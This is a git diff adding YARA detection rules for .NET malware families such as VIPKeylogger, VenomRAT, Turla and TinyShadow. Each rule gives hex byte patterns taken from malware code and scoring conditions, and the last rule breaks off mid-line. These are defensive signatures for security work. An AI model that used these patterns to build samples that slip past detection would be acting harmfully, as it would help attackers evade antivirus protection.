a/Trojan/BAT/Tiny/Trojan_BAT_Tiny_GVA_MTB.yar b/Trojan/BAT/Tiny/Trojan_BAT_Tiny_GVA_MTB.yar new file mode 100644 index 0000000000..1e043ae2b4 --- /dev/null +++ b/Trojan/BAT/Tiny/Trojan_BAT_Tiny_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Tiny_GVA_MTB{ + meta: + description = "Trojan:BAT/Tiny.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {08 28 37 00 00 0a 2d 0c 06 08 6f 38 00 00 0a 6f 39 00 00 0a 07 6f 3a 00 00 0a 25 0c 2d e2 06 0d de 0a 07 2c 06 07 6f 27 00 00 0a dc 09 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Tiny/Trojan_BAT_Tiny_NITF_MTB.yar b/Trojan/BAT/Tiny/Trojan_BAT_Tiny_NITF_MTB.yar new file mode 100644 index 0000000000..f8d45d20e1 --- /dev/null +++ b/Trojan/BAT/Tiny/Trojan_BAT_Tiny_NITF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Tiny_NITF_MTB{ + meta: + description = "Trojan:BAT/Tiny.NITF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {d8 00 00 70 0a 72 ?? 00 00 70 06 02 28 ?? 00 00 0a 0b 73 36 00 00 0a 25 72 ?? 00 00 70 6f ?? 00 00 0a 25 72 ?? 01 00 70 07 28 ?? 00 00 0a 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 25 72 ?? 00 00 70 6f ?? 00 00 0a 28 ?? 00 00 0a 0c 08 6f ?? 00 00 0a 08 6f ?? 00 00 0a 2c 1b 72 ?? 02 00 70 08 6f ?? 00 00 0a 8c 32 00 00 01 28 ?? 00 00 0a 73 3f 00 00 0a 7a de 0a } //3 + $a_03_1 = {72 25 00 00 70 0a 1f 24 28 ?? 00 00 0a 72 b8 00 00 70 28 ?? 00 00 0a 0b 73 2b 00 00 0a 0c 07 28 ?? 00 00 06 08 06 07 6f ?? 00 00 0a de 0a 08 2c 06 08 6f ?? 00 00 0a dc 07 73 2e 00 00 0a 25 17 6f ?? 00 00 0a 25 72 cc 00 00 70 6f ?? 00 00 0a 26 de 19 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Tiny/Trojan_BAT_Tiny_NIT_MTB.yar b/Trojan/BAT/Tiny/Trojan_BAT_Tiny_NIT_MTB.yar new file mode 100644 index 0000000000..7a0db7a3bd --- /dev/null +++ b/Trojan/BAT/Tiny/Trojan_BAT_Tiny_NIT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Tiny_NIT_MTB{ + meta: + description = "Trojan:BAT/Tiny.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {00 00 72 f1 00 00 70 0a 7e 1d 00 00 0a 06 17 6f ?? 00 00 0a 0b 00 28 1f 00 00 0a 6f ?? 00 00 0a 0c 07 72 4d 01 00 70 08 6f ?? 00 00 0a 00 00 de 12 } //2 + $a_03_1 = {11 07 11 08 9a 13 05 00 11 05 6f ?? 00 00 0a 2c 18 11 05 6f ?? 00 00 0a 6f ?? 00 00 0a 72 57 00 00 70 6f ?? 00 00 0a 2b 01 17 13 09 11 09 2d 51 00 00 72 5f 00 00 70 11 05 6f ?? 00 00 0a 28 ?? 00 00 0a 00 06 07 08 09 28 ?? 00 00 06 00 11 05 6f ?? 00 00 0a 6f ?? 00 00 0a 06 07 08 09 28 ?? 00 00 06 00 00 de 18 13 06 00 72 93 00 00 70 11 06 6f ?? 00 00 0a 28 ?? 00 00 0a 00 00 de 00 00 00 00 11 08 17 58 13 08 11 08 11 07 8e 69 fe 04 13 09 11 09 3a 67 ff ff ff } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Tiny/Trojan_BAT_Tiny_ZKU_MTB.yar b/Trojan/BAT/Tiny/Trojan_BAT_Tiny_ZKU_MTB.yar new file mode 100644 index 0000000000..e56e95daae --- /dev/null +++ b/Trojan/BAT/Tiny/Trojan_BAT_Tiny_ZKU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Tiny_ZKU_MTB{ + meta: + description = "Trojan:BAT/Tiny.ZKU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {09 20 ff 00 00 00 33 53 07 6f ?? 00 00 0a 13 04 11 04 2d 0d 08 20 ff 00 00 00 6f ?? 00 00 0a 2b 42 1a 8d 39 00 00 01 13 05 11 05 16 11 04 d2 9c 07 11 05 17 19 6f ?? 00 00 0a 26 11 05 16 28 ?? 00 00 0a 13 06 11 06 8d 39 00 00 01 13 07 08 11 07 16 11 06 6f ?? 00 00 0a 2b 08 08 09 d2 6f ?? 00 00 0a 07 6f ?? 00 00 0a 25 0d 15 33 92 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/TinyShadow/Trojan_BAT_TinyShadow_A_dha.yar b/Trojan/BAT/TinyShadow/Trojan_BAT_TinyShadow_A_dha.yar new file mode 100644 index 0000000000..aa778610ae --- /dev/null +++ b/Trojan/BAT/TinyShadow/Trojan_BAT_TinyShadow_A_dha.yar @@ -0,0 +1,23 @@ + +rule Trojan_BAT_TinyShadow_A_dha{ + meta: + description = "Trojan:BAT/TinyShadow.A!dha,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0d 00 00 " + + strings : + $a_01_0 = {53 00 77 00 69 00 74 00 63 00 68 00 20 00 74 00 6f 00 20 00 00 } //1 + $a_01_1 = {42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 3d 00 3d 00 } //1 BQUFBQUFBQUFBQUFBQUFBQ== + $a_01_2 = {7b 00 30 00 7d 00 3b 00 30 00 7b 00 31 00 7d 00 3a 00 20 00 7b 00 32 00 7d 00 } //1 {0};0{1}: {2} + $a_01_3 = {3a 00 31 00 37 00 38 00 39 00 36 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 23 00 } //1 :17896#################################################################################################### + $a_01_4 = {31 00 34 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 } //1 14.0.0.0 + $a_81_5 = {63 5f 73 68 61 72 70 2e 65 78 65 } //1 c_sharp.exe + $a_01_6 = {33 31 64 35 65 39 39 31 2d 38 65 64 65 2d 34 36 39 63 2d 62 39 36 30 2d 61 32 64 64 33 32 61 63 62 34 34 65 } //1 31d5e991-8ede-469c-b960-a2dd32acb44e + $a_01_7 = {6f 34 72 79 67 43 66 43 36 59 41 68 76 6c 51 6f 73 67 } //1 o4rygCfC6YAhvlQosg + $a_01_8 = {6f 31 4d 4d 4e 43 64 4a 72 47 42 4b 57 52 34 64 6d 66 67 } //1 o1MMNCdJrGBKWR4dmfg + $a_01_9 = {6f 74 4f 55 47 66 4d 34 43 46 46 7a 4e 5a 62 61 6d 65 77 } //1 otOUGfM4CFFzNZbamew + $a_01_10 = {6f 67 59 67 66 6d 45 49 4a 72 74 69 44 66 33 70 30 46 41 } //1 ogYgfmEIJrtiDf3p0FA + $a_01_11 = {54 6c 4e 74 4a 54 32 49 65 4e 50 63 } //1 TlNtJT2IeNPc + $a_01_12 = {69 6e 69 74 69 61 6c 5f 75 72 6c } //1 initial_url + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_81_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Turla/Trojan_BAT_Turla_PGT_MTB.yar b/Trojan/BAT/Turla/Trojan_BAT_Turla_PGT_MTB.yar new file mode 100644 index 0000000000..d8c21e5392 --- /dev/null +++ b/Trojan/BAT/Turla/Trojan_BAT_Turla_PGT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Turla_PGT_MTB{ + meta: + description = "Trojan:BAT/Turla.PGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {43 00 67 00 39 00 55 00 63 00 6d 00 46 00 75 00 63 00 33 00 42 00 76 00 63 00 6e 00 51 00 75 00 63 00 48 00 4a 00 76 00 64 00 47 00 38 00 53 00 44 00 30 00 31 00 76 00 5a } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Umbral/Trojan_BAT_Umbral_AB_MTB.yar b/Trojan/BAT/Umbral/Trojan_BAT_Umbral_AB_MTB.yar new file mode 100644 index 0000000000..4e8501f042 --- /dev/null +++ b/Trojan/BAT/Umbral/Trojan_BAT_Umbral_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Umbral_AB_MTB{ + meta: + description = "Trojan:BAT/Umbral.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {4c 61 13 1c 11 1d 02 7c 0f 00 00 04 7c 15 00 00 04 1e 58 4c 61 13 1d 11 1e 02 7c 10 00 00 04 7c 16 00 00 04 4c 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ACH_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ACH_MTB.yar new file mode 100644 index 0000000000..ea560b75b3 --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ACH_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_VIPKeylogger_ACH_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.ACH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 05 0e 04 6f ?? 00 00 0a 0a 06 0e 05 28 ?? 00 00 06 0b 04 03 6f ?? 00 00 0a 59 0c 08 19 32 0a 03 07 0e 05 28 ?? 00 00 06 2a 08 16 31 0a 03 07 08 0e 05 28 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_BAT_VIPKeylogger_ACH_MTB_2{ + meta: + description = "Trojan:BAT/VIPKeylogger.ACH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {6c 5b 13 0d 02 11 15 11 17 6f ?? 00 00 0a 13 18 12 18 28 ?? 00 00 0a 16 32 19 12 18 28 ?? 00 00 0a 16 32 0f 12 18 28 ?? 00 00 0a 16 fe 04 16 fe 01 2b 01 16 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_AFXA_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_AFXA_MTB.yar new file mode 100644 index 0000000000..1dfa790056 --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_AFXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_VIPKeylogger_AFXA_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.AFXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 06 07 6f ?? 00 00 0a 0c 04 03 6f ?? 00 00 0a 59 0d 09 19 fe 04 16 fe 01 13 04 11 04 2c 2e 00 03 12 02 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 02 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 02 28 ?? 00 00 0a 6f ?? 00 00 0a 00 00 2b 56 09 16 fe 02 13 05 11 05 2c 4c 00 19 8d ?? 00 00 01 25 16 12 02 28 ?? 00 00 0a 9c 25 17 12 02 28 ?? 00 00 0a 9c 25 18 12 02 28 ?? 00 00 0a 9c } //5 + $a_03_1 = {13 06 16 13 07 2b 14 00 03 11 06 11 07 91 6f ?? 00 00 0a 00 00 11 07 17 58 13 07 11 07 09 fe 04 13 08 11 08 2d e1 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_AMBB_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_AMBB_MTB.yar new file mode 100644 index 0000000000..9769179cf8 --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_AMBB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_VIPKeylogger_AMBB_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.AMBB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {06 0a 06 02 7d ?? 00 00 04 06 03 7d ?? 00 00 04 16 02 7b ?? 00 00 04 6f ?? 01 00 0a 28 ?? 01 00 0a 02 7b ?? 00 00 04 25 2d 16 26 02 02 fe ?? ?? 01 00 06 73 ?? 01 00 0a 25 0b 7d ?? 00 00 04 07 28 ?? 00 00 2b 06 fe ?? ?? 01 00 06 73 ?? 01 00 0a 28 ?? 00 00 2b 2a } //5 + $a_03_1 = {0a 59 0a 06 19 fe 04 16 fe 01 0b 07 2c 34 00 02 7b ?? 00 00 04 19 8d ?? 00 00 01 25 16 0f 01 28 ?? 01 00 0a 9c 25 17 0f 01 28 ?? 01 00 0a 9c 25 18 0f 01 28 ?? 01 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ARQA_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ARQA_MTB.yar new file mode 100644 index 0000000000..e2f365a2d1 --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ARQA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_VIPKeylogger_ARQA_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.ARQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_01_0 = {07 74 04 00 00 1b 09 07 75 04 00 00 1b 09 94 02 5a 1f 64 5d 9e 11 } //3 + $a_03_1 = {1b 11 04 07 ?? 04 00 00 1b 11 04 94 03 5a 1f 64 5d 9e } //3 + $a_03_2 = {11 07 16 28 ?? 00 00 06 13 0c 11 07 17 28 ?? 00 00 06 13 0d 11 07 18 28 ?? 00 00 06 13 0e } //2 + $a_03_3 = {03 11 0c 6f ?? 00 00 0a 03 11 0d 6f ?? 00 00 0a 03 11 0e 6f ?? 00 00 0a 06 19 58 0a } //2 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*3+(#a_03_2 & 1)*2+(#a_03_3 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_PGV_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_PGV_MTB.yar new file mode 100644 index 0000000000..7d3ef94621 --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_PGV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_VIPKeylogger_PGV_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.PGV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {5a 13 12 12 06 28 ?? 00 00 0a 0e 04 7b 20 00 00 04 06 0e 04 7b 20 00 00 04 8e 69 5d 91 61 d2 13 13 12 06 28 ?? 00 00 0a 0e 04 7b 20 00 00 04 11 05 0e 04 7b 20 00 00 04 8e 69 5d 91 61 d2 13 14 12 06 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_SXDA_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_SXDA_MTB.yar new file mode 100644 index 0000000000..8b3cb9bcdb --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_SXDA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_VIPKeylogger_SXDA_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.SXDA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {2b 37 2b 3c 72 ?? ?? ?? 70 2b 3c 1e 2c 1a 2b 3e 72 ?? ?? ?? 70 2b 3a 6f ?? ?? ?? 0a 6f ?? ?? ?? 0a 0a 07 6f ?? ?? ?? 0a 06 0c de 37 73 ?? ?? ?? 0a 2b c9 0b 2b c8 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZKS_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZKS_MTB.yar new file mode 100644 index 0000000000..be37ca4787 --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZKS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_VIPKeylogger_ZKS_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.ZKS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {5a 11 20 58 13 33 02 11 31 11 35 6f ?? 00 00 0a 13 38 12 38 28 ?? 00 00 0a 06 61 d2 13 39 12 38 28 ?? 00 00 0a 06 61 d2 13 3a 12 38 28 ?? 00 00 0a 06 61 d2 13 3b 11 39 07 1f 1f } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZSR_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZSR_MTB.yar new file mode 100644 index 0000000000..a3f948b1dd --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZSR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_VIPKeylogger_ZSR_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.ZSR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {11 09 06 6f ?? 02 00 0a 6f ?? 02 00 0a 00 11 09 06 6f ?? 02 00 0a 6f ?? 02 00 0a 00 7e ?? 01 00 04 2c 07 7e ?? 01 00 04 2b 16 7e ?? 01 00 04 fe ?? 48 01 00 06 73 ?? 02 00 0a 25 80 ?? 01 00 04 13 0a 00 11 09 6f ?? 02 00 0a 13 0b 02 11 0a 07 6f ?? 02 00 0a 11 0b 6f ?? 02 00 0a 6f ?? 01 00 0a 00 de 0e } //10 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZZQ_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZZQ_MTB.yar new file mode 100644 index 0000000000..2ecd39437f --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZZQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_VIPKeylogger_ZZQ_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.ZZQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {08 11 07 8f ?? 00 00 01 25 47 09 11 07 58 1f 11 5a 20 00 01 00 00 5d d2 61 d2 52 09 1f 1f 5a 08 11 07 91 58 20 00 01 00 00 5d 0d 11 07 17 58 13 07 } //6 + $a_01_1 = {08 11 06 11 06 1f 25 5a 20 00 01 00 00 5d d2 9c 11 06 17 58 13 06 11 06 08 8e 69 32 e3 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_01_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZZV_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZZV_MTB.yar new file mode 100644 index 0000000000..c509312443 --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_VIPKeylogger_ZZV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_VIPKeylogger_ZZV_MTB{ + meta: + description = "Trojan:BAT/VIPKeylogger.ZZV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0a 59 03 6f ?? 01 00 0a 6f ?? 01 00 0a 20 00 01 00 00 5d 03 6f ?? 01 00 0a 6f ?? 01 00 0a 20 00 01 00 00 5d 61 d2 03 6f ?? 01 00 0a 6f ?? 01 00 0a 1f 1f 5a 03 6f ?? 01 00 0a 6f ?? 01 00 0a 58 20 ff 00 00 00 5f } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_Vipkeylogger_AVK_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_Vipkeylogger_AVK_MTB.yar new file mode 100644 index 0000000000..c58182d543 --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_Vipkeylogger_AVK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Vipkeylogger_AVK_MTB{ + meta: + description = "Trojan:BAT/Vipkeylogger.AVK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 13 40 2b 44 00 11 3e 11 40 19 5f 91 13 41 11 41 16 60 11 41 fe 01 13 42 11 42 13 43 11 43 2c 21 00 03 11 41 6f ?? 00 00 0a 00 11 1e 11 3f 5a 11 40 58 13 44 11 07 11 44 11 41 6f ?? 00 00 0a 00 00 00 11 40 17 58 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/VIPKeylogger/Trojan_BAT_Vipkeylogger_CE_MTB.yar b/Trojan/BAT/VIPKeylogger/Trojan_BAT_Vipkeylogger_CE_MTB.yar new file mode 100644 index 0000000000..35509a6fd5 --- /dev/null +++ b/Trojan/BAT/VIPKeylogger/Trojan_BAT_Vipkeylogger_CE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Vipkeylogger_CE_MTB{ + meta: + description = "Trojan:BAT/Vipkeylogger.CE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {02 12 02 28 ?? 00 00 0a 12 02 28 ?? 00 00 0a 6f ?? 00 00 0a 13 08 04 03 6f ?? 00 00 0a 59 13 09 11 09 19 fe 04 16 fe 01 } //4 + $a_03_1 = {1b 13 04 38 ?? 01 00 00 03 6f ?? 00 00 0a 04 fe 04 16 fe 01 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/VMProtect/Trojan_BAT_VMProtect_GVA_MTB.yar b/Trojan/BAT/VMProtect/Trojan_BAT_VMProtect_GVA_MTB.yar new file mode 100644 index 0000000000..485dae8307 --- /dev/null +++ b/Trojan/BAT/VMProtect/Trojan_BAT_VMProtect_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_VMProtect_GVA_MTB{ + meta: + description = "Trojan:BAT/VMProtect.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {7e 50 00 00 04 03 07 6a 58 e0 47 06 61 20 ff 00 00 00 5f 95 06 1e 64 61 0a 07 17 58 0b 07 6a 04 6e 3f da ff ff ff } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/VenomRAT/Trojan_BAT_VenomRat_AXXA_MTB.yar b/Trojan/BAT/VenomRAT/Trojan_BAT_VenomRat_AXXA_MTB.yar new file mode 100644 index 0000000000..78e206e6de --- /dev/null +++ b/Trojan/BAT/VenomRAT/Trojan_BAT_VenomRat_AXXA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_VenomRat_AXXA_MTB{ + meta: + description = "Trojan:BAT/VenomRat.AXXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {16 0c 2b 29 02 14 72 ?? ?? 00 70 16 8d ?? 00 00 01 14 14 14 28 ?? 00 00 0a 28 ?? 00 00 0a 0d 07 09 b4 6f ?? 00 00 0a 00 08 17 d6 0c 00 08 8c ?? 00 00 01 02 14 72 ?? ?? 00 70 16 8d ?? 00 00 01 14 14 14 28 ?? 00 00 0a 16 28 ?? 00 00 0a 13 04 11 04 2d b0 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/VenomRAT/Trojan_BAT_VenomRat_PMZ_MTB.yar b/Trojan/BAT/VenomRAT/Trojan_BAT_VenomRat_PMZ_MTB.yar new file mode 100644 index 0000000000..4b132998d2 --- /dev/null +++ b/Trojan/BAT/VenomRAT/Trojan_BAT_VenomRat_PMZ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_VenomRat_PMZ_MTB{ + meta: + description = "Trojan:BAT/VenomRat.PMZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 00 " + + strings : + $a_03_0 = {72 db 07 00 70 73 65 00 00 0a 7a 00 02 6f ?? 00 00 0a 17 da 0d 16 13 04 2b 2d 02 11 04 1e 6f ?? 00 00 0a 13 05 11 05 18 28 ?? 00 00 0a 13 06 11 06 28 ?? 00 00 0a 13 07 07 11 07 6f ?? 00 00 0a 26 11 04 1e d6 13 04 11 04 09 31 ce 07 6f ?? 00 00 0a 0a } //4 + $a_00_1 = {30 00 31 00 31 00 31 00 30 00 30 00 31 00 30 00 30 00 31 00 31 00 30 00 30 00 31 00 30 00 31 00 30 00 31 00 31 00 31 00 30 00 30 00 31 00 31 00 30 00 31 00 31 00 30 00 31 00 31 00 31 00 31 00 30 00 31 00 31 00 31 00 30 00 31 00 30 00 31 00 30 00 31 00 31 00 31 00 30 00 30 00 31 00 30 00 30 00 31 00 31 00 30 00 30 00 30 00 31 00 31 00 30 00 31 00 31 00 30 00 30 00 31 00 30 00 31 00 30 00 31 00 31 00 31 00 30 00 30 00 31 00 31 00 30 00 30 00 31 00 } //2 011100100110010101110011011011110111010101110010011000110110010101110011001 + $a_01_2 = {16 11 06 a2 6f 9c 01 00 0a 28 39 00 00 0a 13 0c 11 0c 14 72 b9 15 00 70 16 8d 04 00 00 01 14 14 14 28 91 00 00 0a 17 8d 04 00 00 01 25 16 1f 18 8c 7f 00 00 01 a2 14 28 38 01 00 0a 14 72 cb 15 00 70 16 8d 04 00 00 01 14 14 14 28 91 00 00 0a 17 8d 04 00 00 01 25 } //2 + condition: + ((#a_03_0 & 1)*4+(#a_00_1 & 1)*2+(#a_01_2 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/BAT/VenomRAT/Trojan_BAT_Venomrat_MCE_MTB.yar b/Trojan/BAT/VenomRAT/Trojan_BAT_Venomrat_MCE_MTB.yar new file mode 100644 index 0000000000..b7a3c5d1b4 --- /dev/null +++ b/Trojan/BAT/VenomRAT/Trojan_BAT_Venomrat_MCE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Venomrat_MCE_MTB{ + meta: + description = "Trojan:BAT/Venomrat.MCE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 